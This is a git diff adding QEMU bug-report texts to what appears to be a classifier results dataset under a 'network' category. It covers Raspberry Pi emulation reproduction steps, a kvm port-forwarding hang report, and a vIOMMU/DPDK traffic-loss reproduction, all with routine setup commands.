"https://github.com/raspberrypi/firmware/raw/0ea28740607daed588912930379ed6ad40cfc4be/boot/bcm2711-rpi-4-b.dtb" \ + --output-document="./rpi4_model_b_rev1.5/bcm2711-rpi-4-b_from_master_branch_0ea28740607daed588912930379ed6ad40cfc4be.dtb" +$ wget "https://github.com/raspberrypi/firmware/raw/0ea28740607daed588912930379ed6ad40cfc4be/boot/kernel8.img" \ + --output-document="./kernel8_from_master_branch_0ea28740607daed588912930379ed6ad40cfc4be.img" +``` + +5. Download, verify and extract `Raspberry Pi OS Lite` image files: +```bash +$ wget \ + "https://downloads.raspberrypi.com/raspios_lite_arm64/images/raspios_lite_arm64-2024-11-19/2024-11-19-raspios-bookworm-arm64-lite.img.xz" \ + "https://downloads.raspberrypi.com/raspios_lite_arm64/images/raspios_lite_arm64-2024-11-19/2024-11-19-raspios-bookworm-arm64-lite.img.xz.sha256" \ + "https://downloads.raspberrypi.com/raspios_lite_arm64/images/raspios_lite_arm64-2024-11-19/2024-11-19-raspios-bookworm-arm64-lite.img.xz.sig" \ + "https://downloads.raspberrypi.com/raspios_lite_arm64/images/raspios_lite_arm64-2025-05-13/2025-05-13-raspios-bookworm-arm64-lite.img.xz" \ + "https://downloads.raspberrypi.com/raspios_lite_arm64/images/raspios_lite_arm64-2025-05-13/2025-05-13-raspios-bookworm-arm64-lite.img.xz.sha256" \ + "https://downloads.raspberrypi.com/raspios_lite_arm64/images/raspios_lite_arm64-2025-05-13/2025-05-13-raspios-bookworm-arm64-lite.img.xz.sig" +$ sha256sum --check *.sha256 +2024-11-19-raspios-bookworm-arm64-lite.img.xz: OK +2025-05-13-raspios-bookworm-arm64-lite.img.xz: OK +$ for i in *.sig; do echo "${i}"; gpg --verify "${i}" "${i%\.sig}"; done +2024-11-19-raspios-bookworm-arm64-lite.img.xz.sig +gpg: Signature made Tue Nov 19 15:51:51 2024 CET +gpg: using RSA key 54C3DD610D9D1B4AF82A37758738CD6B956F460C +gpg: Good signature from "Raspberry Pi Downloads Signing Key" [full] +2025-05-13-raspios-bookworm-arm64-lite.img.xz.sig +gpg: Signature made Tue May 13 08:52:21 2025 CEST +gpg: using RSA key 54C3DD610D9D1B4AF82A37758738CD6B956F460C +gpg: Good signature from "Raspberry Pi Downloads Signing Key" [full] +$ for i in *.xz; do pixz -d "${i}"; done +$ LS_COLORS="" tree -FC --noreport +./ +├── 2024-11-19-raspios-bookworm-arm64-lite.img.xz.sha256 +├── 2024-11-19-raspios-bookworm-arm64-lite.img.xz.sig +├── 2024-11-19-raspios-bookworm-arm64-lite.img +├── 2025-05-13-raspios-bookworm-arm64-lite.img.xz.sha256 +├── 2025-05-13-raspios-bookworm-arm64-lite.img.xz.sig +├── 2025-05-13-raspios-bookworm-arm64-lite.img +├── kernel8_from_master_branch_0ea28740607daed588912930379ed6ad40cfc4be.img +├── rpi3_model_b/ +│ ├── bcm2710-rpi-3-b_from_master_branch_0ea28740607daed588912930379ed6ad40cfc4be.dtb +└── rpi4_model_b_rev1.5/ + └── bcm2711-rpi-4-b_from_master_branch_0ea28740607daed588912930379ed6ad40cfc4be.dtb +``` + +6. Grow `image size` to make it be a `power of 2`: +```bash +$ qemu-img resize -f raw "./2024-11-19-raspios-bookworm-arm64-lite.img" 4G +Image resized. +$ qemu-img resize -f raw "./2025-05-13-raspios-bookworm-arm64-lite.img" 4G +Image resized. +``` + +7. Get `DTB` and `Kernel images files` from the `Raspberry Pi OS image files`, prepare a `user` and `SSHD`: +```bash +$ losetup --find --partscan --show "./2024-11-19-raspios-bookworm-arm64-lite.img" +/dev/loop0 +$ mount "/dev/loop0p1" "/mnt/" +$ cp "/mnt/bcm2710-rpi-3-b.dtb" "./rpi3_model_b/bcm2710-rpi-3-b_2024-11-19.dtb" +$ cp "/mnt/bcm2711-rpi-4-b.dtb" "./rpi4_model_b_rev1.5/bcm2711-rpi-4-b_2024-11-19.dtb" +$ cp "/mnt/kernel8.img" "./kernel8_2024-11-19.img" +$ touch "/mnt/ssh" +$ echo "pi:$(openssl passwd -6)" > "/mnt/userconf" +Password: 1234 +Verifying - Password: 1234 +$ umount "/mnt/" +$ losetup --find --partscan --show "./2025-05-13-raspios-bookworm-arm64-lite.img" +/dev/loop1 +$ mount "/dev/loop1p1" "/mnt/" +$ cp "/mnt/bcm2710-rpi-3-b.dtb" "./rpi3_model_b/bcm2710-rpi-3-b_2025-05-13.dtb" +$ cp "/mnt/bcm2711-rpi-4-b.dtb" "./rpi4_model_b_rev1.5/bcm2711-rpi-4-b_2025-05-13.dtb" +$ cp "/mnt/kernel8.img" "./kernel8_2025-05-13.img" +$ touch "/mnt/ssh" +$ echo "pi:$(openssl passwd -6)" > "/mnt/userconf" +Password: 1234 +Verifying - Password: 1234 +$ umount "/mnt/" +$ losetup --list +NAME SIZELIMIT OFFSET AUTOCLEAR RO BACK-FILE DIO LOG-SEC +/dev/loop1 0 0 0 0 /home/<some_username>/qemu/2025-05-13-raspios-bookworm-arm64-lite.img 0 512 +/dev/loop0 0 0 0 0 /home/<some_username>/qemu/2024-11-19-raspios-bookworm-arm64-lite.img 0 512 +$ losetup --detach "/dev/loop0" "/dev/loop1" +$ losetup --list +$ LS_COLORS="" tree -FC --noreport +./ +├── 2024-11-19-raspios-bookworm-arm64-lite.img +├── 2024-11-19-raspios-bookworm-arm64-lite.img.xz.sha256 +├── 2024-11-19-raspios-bookworm-arm64-lite.img.xz.sig +├── 2025-05-13-raspios-bookworm-arm64-lite.img +├── 2025-05-13-raspios-bookworm-arm64-lite.img.xz.sha256 +├── 2025-05-13-raspios-bookworm-arm64-lite.img.xz.sig +├── kernel8_2024-11-19.img +├── kernel8_2025-05-13.img +├── kernel8_from_master_branch_0ea28740607daed588912930379ed6ad40cfc4be.img +├── rpi3_model_b/ +│ ├── bcm2710-rpi-3-b_2024-11-19.dtb +│ ├── bcm2710-rpi-3-b_2025-05-13.dtb +│ ├── bcm2710-rpi-3-b_from_master_branch_0ea28740607daed588912930379ed6ad40cfc4be.dtb +└── rpi4_model_b_rev1.5/ + ├── bcm2711-rpi-4-b_2024-11-19.dtb + ├── bcm2711-rpi-4-b_2025-05-13.dtb + └── bcm2711-rpi-4-b_from_master_branch_0ea28740607daed588912930379ed6ad40cfc4be.dtb +``` + +8. Execute the first `qemu-system-aarch64` command at `QEMU command line` [above](#host-environment): +```bash +$ qemu-system-aarch64 \ + -vnc "unix:/run/user/$(id --user)/qemu-vnc.sock" + [...] +``` + +8.1. Warnings will be returned: + +`raspi4b`: +```no-highlight +qemu-system-aarch64: warning: bcm2711 dtc: brcm,bcm2711-pcie has been disabled! +qemu-system-aarch64: warning: bcm2711 dtc: brcm,bcm2711-rng200 has been disabled! +qemu-system-aarch64: warning: bcm2711 dtc: brcm,bcm2711-thermal has been disabled! +qemu-system-aarch64: warning: bcm2711 dtc: brcm,bcm2711-genet-v5 has been disabled! +``` + +`raspi3b`: +```no-highlight +usbnet: failed control transaction: request 0x8006 value 0x600 index 0x0 length 0xa +usbnet: failed control transaction: request 0x8006 value 0x600 index 0x0 length 0xa +usbnet: failed control transaction: request 0x8006 value 0x600 index 0x0 length 0xa +``` + +9. Connect via `VNC` via `UNIX socket`: +```bash +$ vncviewer "/run/user/$(id --user)/qemu-vnc.sock" +``` + +10. Press and hold the `f key` or `right arrow` in the `tigervnc window`, even while booting. There should be **no** characters at all. For `raspi3b` there will be. + +11. Open the `QEMU console` via `CTRL+ALT+2`. + +11.1. Try to send a `reboot command`: +```bash +> sendkey ctrl-alt-delete +``` + +11.2. `Raspberry Pi OS` will **not** reboot or receive any keyboard inputs, but `raspi3b` will. + +12. Try to connect via `SSH` from `another shell`: +```bash +$ ssh -p 2222 pi@127.0.0.1 +``` + +12.1. The connection will time out: +```no-highlight +Connection timed out during banner exchange +Connection to 127.0.0.1 port 2222 timed out +``` + +12.2. `slirp4netns` will continuously return errors in the shell, where `qemu-system-aarch64` was executed: +```no-highlight +[...] +qemu-system-aarch64: Slirp: Failed to send packet, ret: -1 +qemu-system-aarch64: Slirp: Failed to send packet, ret: -1 +[...] +``` + +13. Go to the shell, where `qemu-system-aarch64` was executed and send a `SIGTERM (15)` signal to the process: +```no-highlight +Press CTRL+C +``` + +13.1. If this does not work, `terminate` the process form `another shell`: +```bash +$ ps aux | grep "qemu-system-aarch64" +<some_username> 24399 149 3.1 4265780 522276 pts/2 SNl+ 21:32 4:21 qemu-system-aarch64 -vnc unix:/run/user/[...] +$ kill -SIGTERM 24399 +``` + +13.2. In the worst case, `kill` the process in a dirty way: +```bash +$ kill -SIGKILL 24339 +``` + +14. Repeat step `8` to `13` with the next `qemu-system-aarch64` command at `QEMU command line` [above](#host-environment). `Keyboard inputs` will only work for `raspi3` and `SSH` only for number `4` and `6`. If keyboard inputs are possible, one can log in with the user `pi` and password `1234` or use the `QEMU console` (`CTRL+ALT+2`) to reboot: `sendkey ctrl-alt-delete`. +Additional information: +# diff --git a/results/classifier/gemma3:12b/network/308 b/results/classifier/gemma3:12b/network/308 new file mode 100644 index 000000000..6dd77c1ff --- /dev/null +++ b/results/classifier/gemma3:12b/network/308 @@ -0,0 +1,2 @@ + +QEMU: net: vmxnet: integer overflow may crash guest diff --git a/results/classifier/gemma3:12b/network/309 b/results/classifier/gemma3:12b/network/309 new file mode 100644 index 000000000..91cc84704 --- /dev/null +++ b/results/classifier/gemma3:12b/network/309 @@ -0,0 +1,2 @@ + +assert issue locates in hw/net/vmxnet3.c:1793:vmxnet3_io_bar1_write: code should not be reach diff --git a/results/classifier/gemma3:12b/network/323 b/results/classifier/gemma3:12b/network/323 new file mode 100644 index 000000000..0d1a6cf89 --- /dev/null +++ b/results/classifier/gemma3:12b/network/323 @@ -0,0 +1,2 @@ + +qemu 5.2.0: Add reconnect option support for netdev socket diff --git a/results/classifier/gemma3:12b/network/331 b/results/classifier/gemma3:12b/network/331 new file mode 100644 index 000000000..983806013 --- /dev/null +++ b/results/classifier/gemma3:12b/network/331 @@ -0,0 +1,2 @@ + +Incorrect feature negotiation for vhost-vdpa netdevice diff --git a/results/classifier/gemma3:12b/network/335 b/results/classifier/gemma3:12b/network/335 new file mode 100644 index 000000000..dce47474a --- /dev/null +++ b/results/classifier/gemma3:12b/network/335 @@ -0,0 +1,2 @@ + +Broken tap networking on macOS host diff --git a/results/classifier/gemma3:12b/network/336 b/results/classifier/gemma3:12b/network/336 new file mode 100644 index 000000000..e489b2272 --- /dev/null +++ b/results/classifier/gemma3:12b/network/336 @@ -0,0 +1,2 @@ + +Built-in DHCP server: SiAddr diff --git a/results/classifier/gemma3:12b/network/348 b/results/classifier/gemma3:12b/network/348 new file mode 100644 index 000000000..2b0ec8982 --- /dev/null +++ b/results/classifier/gemma3:12b/network/348 @@ -0,0 +1,2 @@ + +qemu-user fails to run container using systemd-networkd: "Could not create manager: Protocol not supported" diff --git a/results/classifier/gemma3:12b/network/354 b/results/classifier/gemma3:12b/network/354 new file mode 100644 index 000000000..b7cd22cf6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/354 @@ -0,0 +1,2 @@ + +Emulation error when calling the SIOCGIFNETMASK ioctl through qemu-user diff --git a/results/classifier/gemma3:12b/network/377 b/results/classifier/gemma3:12b/network/377 new file mode 100644 index 000000000..1990a7417 --- /dev/null +++ b/results/classifier/gemma3:12b/network/377 @@ -0,0 +1,2 @@ + +Indentation should be done with spaces, not with TABs, in the net subsystem diff --git a/results/classifier/gemma3:12b/network/402 b/results/classifier/gemma3:12b/network/402 new file mode 100644 index 000000000..9095dc291 --- /dev/null +++ b/results/classifier/gemma3:12b/network/402 @@ -0,0 +1,2 @@ + +e1000 / e1000e randomly stop sending packets to VM with DPDK app in VM diff --git a/results/classifier/gemma3:12b/network/406 b/results/classifier/gemma3:12b/network/406 new file mode 100644 index 000000000..0e08895fe --- /dev/null +++ b/results/classifier/gemma3:12b/network/406 @@ -0,0 +1,2 @@ + +vhost-user net device sends SET_VRING_ENABLE before feature negotiation diff --git a/results/classifier/gemma3:12b/network/421 b/results/classifier/gemma3:12b/network/421 new file mode 100644 index 000000000..c9f9f00a6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/421 @@ -0,0 +1,2 @@ + +Please clarify what network card is available with qemu-system-sparc64 diff --git a/results/classifier/gemma3:12b/network/428 b/results/classifier/gemma3:12b/network/428 new file mode 100644 index 000000000..8e67de6b6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/428 @@ -0,0 +1,2 @@ + +Windows: Very low network throughput with tap-netdev & virtio-serial diff --git a/results/classifier/gemma3:12b/network/453617 b/results/classifier/gemma3:12b/network/453617 new file mode 100644 index 000000000..459697358 --- /dev/null +++ b/results/classifier/gemma3:12b/network/453617 @@ -0,0 +1,54 @@ + +kvm hangs at 100% cpu when connecting to forwarded ports (when listed incorrectly on the command line) + +Binary package hint: qemu-kvm + +If kvm is started using two separate "-net user,hostfwd=<forwarding rule>" arguments to forward ports from the host to the client, it won't complain, but will return a connection refused error and hang at 100% cpu when trying to connect to either forwarded port. + +However, if kvm is started with the hostfwd rules combined together into a single "-net user" argument, it works fine. + +As an example, this command line doesn't generate any warnings or errors, but causes kvm to hang for me: + +kvm -net nic -net user,hostfwd=tcp:127.0.0.1:8888-:80 -net user,hostfwd=tcp:127.0.0.1:2222-:22 -m 128 -smp 1 -drive file=disk0.qcow2 + +... but this command line works fine: + +kvm -net nic -net user,hostfwd=tcp:127.0.0.1:8888-:80,hostfwd=tcp:127.0.0.1:2222-:22 -m 128 -smp 1 -drive file=disk0.qcow2 + +ProblemType: Bug +Architecture: amd64 +Date: Fri Oct 16 17:19:59 2009 +DistroRelease: Ubuntu 9.10 +KvmCmdLine: Error: command ['ps', '-C', 'kvm', '-F'] failed with exit code 1: UID PID PPID C SZ RSS PSR STIME TTY TIME CMD +MachineType: Sony Corporation VGN-SZ650N +NonfreeKernelModules: nvidia +Package: kvm (not installed) +PccardctlIdent: + Socket 0: + no product info available +PccardctlStatus: + Socket 0: + no card +ProcCmdLine: root=UUID=3ee4953e-48f0-497c-ae78-18cbb18cfef8 ro quiet splash +ProcEnviron: + LANGUAGE=en_US.UTF-8 + PATH=(custom, user) + LANG=en_US.UTF-8 + SHELL=/bin/bash +ProcVersionSignature: Ubuntu 2.6.31-14.47-generic +SourcePackage: qemu-kvm +Uname: Linux 2.6.31-14-generic x86_64 +dmi.bios.date: 07/12/2007 +dmi.bios.vendor: Phoenix Technologies LTD +dmi.bios.version: R0081S5 +dmi.board.asset.tag: N/A +dmi.board.name: VAIO +dmi.board.vendor: Sony Corporation +dmi.board.version: N/A +dmi.chassis.type: 10 +dmi.chassis.vendor: Sony Corporation +dmi.chassis.version: N/A +dmi.modalias: dmi:bvnPhoenixTechnologiesLTD:bvrR0081S5:bd07/12/2007:svnSonyCorporation:pnVGN-SZ650N:pvrJ002VXGP:rvnSonyCorporation:rnVAIO:rvrN/A:cvnSonyCorporation:ct10:cvrN/A: +dmi.product.name: VGN-SZ650N +dmi.product.version: J002VXGP +dmi.sys.vendor: Sony Corporation \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/460 b/results/classifier/gemma3:12b/network/460 new file mode 100644 index 000000000..8aa5f8d63 --- /dev/null +++ b/results/classifier/gemma3:12b/network/460 @@ -0,0 +1,2 @@ + +vmxnet3: Assertion failure in eth_setup_ip4_fragmentation diff --git a/results/classifier/gemma3:12b/network/465 b/results/classifier/gemma3:12b/network/465 new file mode 100644 index 000000000..94b1a45f9 --- /dev/null +++ b/results/classifier/gemma3:12b/network/465 @@ -0,0 +1,8 @@ + +Support network virtualization for Macos Big Sur+ +Additional information: +The following implementation are already submitted as a patch and they seem to work well on my mbp 2019 Big Sur. The only prob is that the qemu-system command should be run as root. + +[https://patchwork.kernel.org/project/qemu-devel/list/?series=502533](https://patchwork.kernel.org/project/qemu-devel/list/?series=502533) + +[https://patchwork.kernel.org/project/qemu-devel/patch/20210708054451.9374-1-akihiko.odaki@gmail.com/](https://patchwork.kernel.org/project/qemu-devel/patch/20210708054451.9374-1-akihiko.odaki@gmail.com/) diff --git a/results/classifier/gemma3:12b/network/478 b/results/classifier/gemma3:12b/network/478 new file mode 100644 index 000000000..9682c3323 --- /dev/null +++ b/results/classifier/gemma3:12b/network/478 @@ -0,0 +1,400 @@ + +Loss of network trafic when virtual iommu is enabled +Steps to reproduce: +1. Setup the hypervisor +- Vt-x and Vt-d present +- IOMMU enabled on the kernel command line (iommu=force intel_iommu=on) +- OpenvSwitch started with DPDK and IOMMU support +```shell +ovs-vsctl --no-wait set Open_vSwitch . other_config:vhost-iommu-support=true +ovs-vsctl --no-wait set Open_vSwitch . other_config:dpdk-init=true +``` +- One OVS bridge with DPDK enabled +```shell +ovs-vsctl add-br br_dpdk -- set bridge br_dpdk datapath_type=netdev +``` +- VM1 makes use of a DPDK port without virtualized IOMMU +- VM2 makes use of a DPDK port with virtualized IOMMU +- Add a virtual port (DPDPK) for VM1, +```shell +ovs-vsctl add-port br_dpdk dpdk1 -- set Interface dpdk1 \ + type=dpdkvhostuserclient options:vhost-server-path=/var/run/openvswitch/dpdk1 +``` +- Add a virtual port (DPDPK) for VM2, +```shell +ovs-vsctl add-port br_dpdk dpdk2 -- set Interface dpdk2 \ + type=dpdkvhostuserclient options:vhost-server-path=/var/run/openvswitch/dpdk2 +``` + +2. Start VM1. This VM is used to generate traffic toward VM2 +- VM1 is started. The way it is started has no impact on the outcome of the test. +- It declares a vhost-user interface (server mode) with dpdk1 as the source. +- The guest OS makes use of virtio-pci to handle its network interface. +- Its interface is having the IP 192.168.3.10/24 + +3. Start VM2. This VM shows the defect +- VM2 is started. +- It declares an iommu device and a vhost-user network interface (server mode) with +dpdk2 as the source. +- The vhost-user interface enables iommu and the ats service. +- It uses the Q35 chipset, it has a PCI topology that ensures that the network interface is its in own IOMMU group +- The VM is started this way: +```shell +qemu-system-x86_64 + -enable-kvm \ + -name guest=debian-iommu,debug-threads=on \ + -machine pc-q35-3.1,accel=kvm,usb=off,dump-guest-core=off,\ +mem-merge=off,kernel_irqchip=split \ + -cpu IvyBridge-IBRS,ss=on,movbe=on,hypervisor=on,arat=on,\ +tsc_adjust=on,mpx=on,rdseed=on,smap=on,clflushopt=on,sha-ni=on,\ +umip=on,ssbd=on,xsaveopt=on,xsavec=on,xgetbv1=on,xsaves=on,pdpe1gb=on,\ +3dnowprefetch=on,avx=off,f16c=off \ + -m 4096 \ + -mem-prealloc \ + -overcommit mem-lock=on \ + -smp 2,sockets=1,cores=2,threads=1 \ + -object memory-backend-file,id=ram-node0,\ +mem-path=/dev/hugepages/libvirt/qemu/2-debian-iommu,\ +share=yes,size=4294967296 \ + -numa node,nodeid=0,cpus=0-1,memdev=ram-node0 \ + -uuid 65847f47-3454-4576-ab6c-6a1c75041ea7 \ + -display none \ + -no-user-config \ + -nodefaults \ + -rtc base=utc \ + -no-shutdown \ + -global ICH9-LPC.disable_s3=1 \ + -global ICH9-LPC.disable_s4=1 \ + -boot strict=on \ + -device intel-iommu,intremap=on,caching-mode=on,eim=off,device-iotlb=on \ + -device pcie-root-port,port=0x8,chassis=1,id=pci.1,\ +bus=pcie.0,multifunction=off,addr=0x1 \ + -device pcie-root-port,port=0x10,chassis=2,id=pci.2,\ +bus=pcie.0,multifunction=off,addr=0x2 \ + -device pcie-root-port,port=0x18,chassis=3,id=pci.3,\ +bus=pcie.0,multifunction=off,addr=0x3 \ + -device pcie-root-port,port=0x20,chassis=4,id=pci.4,\ +bus=pcie.0,multifunction=off,addr=0x4 \ + -device pcie-root-port,port=0x28,chassis=5,id=pci.5,\ +bus=pcie.0,multifunction=off,addr=0x5 \ + -device pcie-root-port,port=0x30,chassis=6,id=pci.6,\ +bus=pcie.0,multifunction=off,addr=0x6 \ + -device pcie-root-port,port=0x38,chassis=7,id=pci.7,\ +bus=pcie.0,multifunction=off,addr=0x7 \ + -device qemu-xhci,id=usb,bus=pci.4,addr=0x0 \ + -drive file=/var/lib/libvirt/images/backing-storage/\ +debian-iommu/debian-iommu-0.qcow2,format=qcow2,if=none,\ +id=drive-virtio-disk0,cache=directsync \ + -device virtio-blk-pci,scsi=off,bus=pci.5,addr=0x0,\ +drive=drive-virtio-disk0,id=virtio-disk0,bootindex=1,write-cache=off \ +\ + -chardev socket,id=charnet0,\ +path=/var/run/openvswitch/dpdk2,server=on \ + -netdev vhost-user,chardev=charnet0,id=hostnet0 \ + -device virtio-net-pci,mrg_rxbuf=on,netdev=hostnet0,\ +id=net0,mac=52:54:00:c2:bf:aa,bus=pci.1,addr=0x0,iommu_platform=on,ats=on \ +\ + -chardev pty,id=charserial0 \ + -device isa-serial,chardev=charserial0,id=serial0 \ +\ + -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,\ +resourcecontrol=deny \ + -msg timestamp=on +``` + +- the guest OS kernel has IOMMU enabled (iommu=true intel_iommu=on) + +4. The DPDK application is started in VM2 +- the network interface is bound to the vfio driver +```shell +# echo 0000:01:00.0 > /sys/bus/pci/drivers/virtio-pci/unbind +# echo vfio-pci > /sys/bus/pci/devices/0000:01:00.0/driver_override +# echo 0000:01:00.0 > /sys/bus/pci/drivers/vfio-pci/bind +# echo 512 > /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages +``` + +- the dpdk-testpmd is used to start a forwarding between the network +interface and a tap device +```shell +dpdk-testpmd --pci-whitelist "01:00.0" --iova-mode va --legacy-mem --socket-mem 500 --vdev=net_tap0 + +EAL: Detected 2 lcore(s) +EAL: Detected 1 NUMA nodes +EAL: Multi-process socket /var/run/dpdk/rte/mp_socket +EAL: No free hugepages reported in hugepages-1048576kB +EAL: Probing VFIO support... +EAL: VFIO support initialized +EAL: WARNING: cpu flags constant_tsc=yes nonstop_tsc=no -> using unreliable clo! +EAL: PCI device 0000:01:00.0 on NUMA socket -1 +EAL: Invalid NUMA socket, default to 0 +EAL: probe driver: 1af4:1041 net_virtio +EAL: using IOMMU type 1 (Type 1) +rte_pmd_tap_probe(): Initializing pmd_tap for net_tap0 as dtap%d +[ 47.283172] tun: Universal TUN/TAP device driver, 1.6 +testpmd: create a new mbuf pool <mbuf_pool_socket_0>: n=155456, size=2176, sock0 +testpmd: preferred mempool ops selected: ring_mp_mc +Configuring Port 0 (socket 0) +EAL: Error disabling MSI-X interrupts for fd 267 +Port 0: 52:54:00:C2:BF:AA +Configuring Port 1 (socket 0) +Port 1: CE:61:2A:67:F4:B8 +Checking link statuses... +[ 47.562560] device dtap0 entered promiscuous mode + +No commandline core given, start packet forwarding +io packet forwarding - ports=2 - cores=1 - streams=2 - NUMA support enabled, MPe +Logical Core 1 (socket 0) forwards packets on 2 streams: + RX P=0/Q=0 (socket 0) -> TX P=1/Q=0 (socket 0) peer=02:00:00:00:00:01 + RX P=1/Q=0 (socket 0) -> TX P=0/Q=0 (socket 0) peer=02:00:00:00:00:00 + + io packet forwarding packets/burst=32 + nb forwarding cores=1 - nb forwarding ports=2 + port 0: RX queue number: 1 Tx queue number: 1 + Rx offloads=0x0 Tx offloads=0x0 + RX queue: 0 + RX desc=0 - RX free threshold=0 + RX threshold registers: pthresh=0 hthresh=0 wthresh=0 + RX Offloads=0x0 + TX queue: 0 + TX desc=0 - TX free threshold=0 + TX threshold registers: pthresh=0 hthresh=0 wthresh=0 + TX offloads=0x0 - TX RS bit threshold=0 + port 1: RX queue number: 1 Tx queue number: 1 + Rx offloads=0x0 Tx offloads=0x0 + RX queue: 0 + RX desc=0 - RX free threshold=0 + RX threshold registers: pthresh=0 hthresh=0 wthresh=0 + RX Offloads=0x0 + TX queue: 0 + TX desc=0 - TX free threshold=0 + TX threshold registers: pthresh=0 hthresh=0 wthresh=0 + TX offloads=0x0 - TX RS bit threshold=0 +Press enter to exit +``` + +- An IP is set on the dtap0 interface + +```shell +^Z +# ip a a 192.168.3.20/24 dev dtap0 +# fg +``` + +5. The traffic is initiated from VM1 +- from the VM1 console a ping the VM2 is started and is working fine. + +```shell +# ping 192.168.3.20 +PING 192.168.3.20 (192.168.3.20) 56(84) bytes of data. +64 bytes from 192.168.3.20: icmp_seq=1 ttl=64 time=0.320 ms +64 bytes from 192.168.3.20: icmp_seq=2 ttl=64 time=0.172 ms +64 bytes from 192.168.3.20: icmp_seq=3 ttl=64 time=0.163 ms +^C +--- 192.168.3.20 ping statistics --- +3 packets transmitted, 3 received, 0% packet loss, time 4ms +rtt min/avg/max/mdev = 0.163/0.218/0.320/0.072 ms +``` +- from the VM1 console a UDP iperf is started and is working fine (no server-side iperf is started) +```shell +# iperf -c 192.168.3.20 -u +------------------------------------------------------------ +Client connecting to 192.168.3.20, UDP port 5001 +Sending 1470 byte datagrams, IPG target: 11215.21 us (kalman adjust) +UDP buffer size: 208 KByte (default) +------------------------------------------------------------ +[ 3] local 192.168.3.10 port 49124 connected with 192.168.3.20 port 5001 +read failed: Connection refused +[ 3] WARNING: did not receive ack of last datagram after 1 tries. +[ ID] Interval Transfer Bandwidth +[ 3] 0.0-10.0 sec 1.25 MBytes 1.05 Mbits/sec +[ 3] Sent 892 datagrams +``` +- from the VM2 console the <Enter> key is pressed +```shell +Telling cores to stop... +Waiting for lcores to finish... + + ---------------------- Forward statistics for port 0 ---------------------- + RX-packets: 904 RX-dropped: 0 RX-total: 904 + TX-packets: 37 TX-dropped: 0 TX-total: 37 + ---------------------------------------------------------------------------- + + ---------------------- Forward statistics for port 1 ---------------------- + RX-packets: 37 RX-dropped: 0 RX-total: 37 + TX-packets: 904 TX-dropped: 0 TX-total: 904 + ---------------------------------------------------------------------------- + + +++++++++++++++ Accumulated forward statistics for all ports+++++++++++++++ + RX-packets: 941 RX-dropped: 0 RX-total: 941 + TX-packets: 941 TX-dropped: 0 TX-total: 941 + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + +Done. + +Stopping port 0... +Stopping ports... +Done + +Stopping port 1... +Stopping ports... +Done + +Shutting down port 0... +Closing ports... +EAL: Error disabling MSI-X interrupts for fd 267 +Done + +Shutting down port 1... +Closing ports... +Done + +Bye... + +``` + +- the guest OS is rebooted (the QEMU emulator is not restarted) +```shell +# shutdown -r now +``` + +6. After reboot, impossible to resume the network traffic +- the same setup is applied (bind the interface to the vfio driver, add enough huge pages, start the dpdk-testpmd program, add an ip to the tap interface). The dpdk-testpmd output shows: +```shell +EAL: Detected 2 lcore(s) +EAL: Detected 1 NUMA nodes +EAL: Multi-process socket /var/run/dpdk/rte/mp_socket +EAL: No free hugepages reported in hugepages-1048576kB +EAL: Probing VFIO support... +EAL: VFIO support initialized +EAL: WARNING: cpu flags constant_tsc=yes nonstop_tsc=no -> using unreliable clo! +EAL: PCI device 0000:01:00.0 on NUMA socket -1 +EAL: Invalid NUMA socket, default to 0 +EAL: probe driver: 1af4:1041 net_virtio +EAL: using IOMMU type 1 (Type 1) +rte_pmd_tap_probe(): Initializing pmd_tap for net_tap0 as dtap%d +[ 37.865360] tun: Universal TUN/TAP device driver, 1.6 +testpmd: create a new mbuf pool <mbuf_pool_socket_0>: n=155456, size=2176, sock0 +testpmd: preferred mempool ops selected: ring_mp_mc +Configuring Port 0 (socket 0) +EAL: Error disabling MSI-X interrupts for fd 267 +Port 0: 52:54:00:C2:BF:AA +Configuring Port 1 (socket 0) +Port 1: 0A:78:00:1F:D6:CB +Checking link statuses... +[ 38.151800] device dtap0 entered promiscuous mode + +No commandline core given, start packet forwarding +io packet forwarding - ports=2 - cores=1 - streams=2 - NUMA support enabled, MPe +Logical Core 1 (socket 0) forwards packets on 2 streams: + RX P=0/Q=0 (socket 0) -> TX P=1/Q=0 (socket 0) peer=02:00:00:00:00:01 + RX P=1/Q=0 (socket 0) -> TX P=0/Q=0 (socket 0) peer=02:00:00:00:00:00 + + io packet forwarding packets/burst=32 + nb forwarding cores=1 - nb forwarding ports=2 + port 0: RX queue number: 1 Tx queue number: 1 + Rx offloads=0x0 Tx offloads=0x0 + RX queue: 0 + RX desc=0 - RX free threshold=0 + RX threshold registers: pthresh=0 hthresh=0 wthresh=0 + RX Offloads=0x0 + TX queue: 0 + TX desc=0 - TX free threshold=0 + TX threshold registers: pthresh=0 hthresh=0 wthresh=0 + TX offloads=0x0 - TX RS bit threshold=0 + port 1: RX queue number: 1 Tx queue number: 1 + Rx offloads=0x0 Tx offloads=0x0 + RX queue: 0 + RX desc=0 - RX free threshold=0 + RX threshold registers: pthresh=0 hthresh=0 wthresh=0 + RX Offloads=0x0 + TX queue: 0 + TX desc=0 - TX free threshold=0 + TX threshold registers: pthresh=0 hthresh=0 wthresh=0 + TX offloads=0x0 - TX RS bit threshold=0 +Press enter to exit +``` + +- From the VM2 console, any attempt to send pings or the engage in UDP iperf will fail +```shell +# ping 192.168.3.20 +PING 192.168.3.20 (192.168.3.20) 56(84) bytes of data. +From 192.168.3.10 icmp_seq=1 Destination Host Unreachable +From 192.168.3.10 icmp_seq=2 Destination Host Unreachable +From 192.168.3.10 icmp_seq=3 Destination Host Unreachable +From 192.168.3.10 icmp_seq=4 Destination Host Unreachable +From 192.168.3.10 icmp_seq=5 Destination Host Unreachable +From 192.168.3.10 icmp_seq=6 Destination Host Unreachable +From 192.168.3.10 icmp_seq=7 Destination Host Unreachable +From 192.168.3.10 icmp_seq=8 Destination Host Unreachable +From 192.168.3.10 icmp_seq=9 Destination Host Unreachable +From 192.168.3.10 icmp_seq=10 Destination Host Unreachable +From 192.168.3.10 icmp_seq=11 Destination Host Unreachable +From 192.168.3.10 icmp_seq=12 Destination Host Unreachable +^C +--- 192.168.3.20 ping statistics --- +13 packets transmitted, 0 received, +12 errors, 100% packet loss, time 327ms + +# iperf -c 192.168.3.20 -u +------------------------------------------------------------ +Client connecting to 192.168.3.20, UDP port 5001 +Sending 1470 byte datagrams, IPG target: 11215.21 us 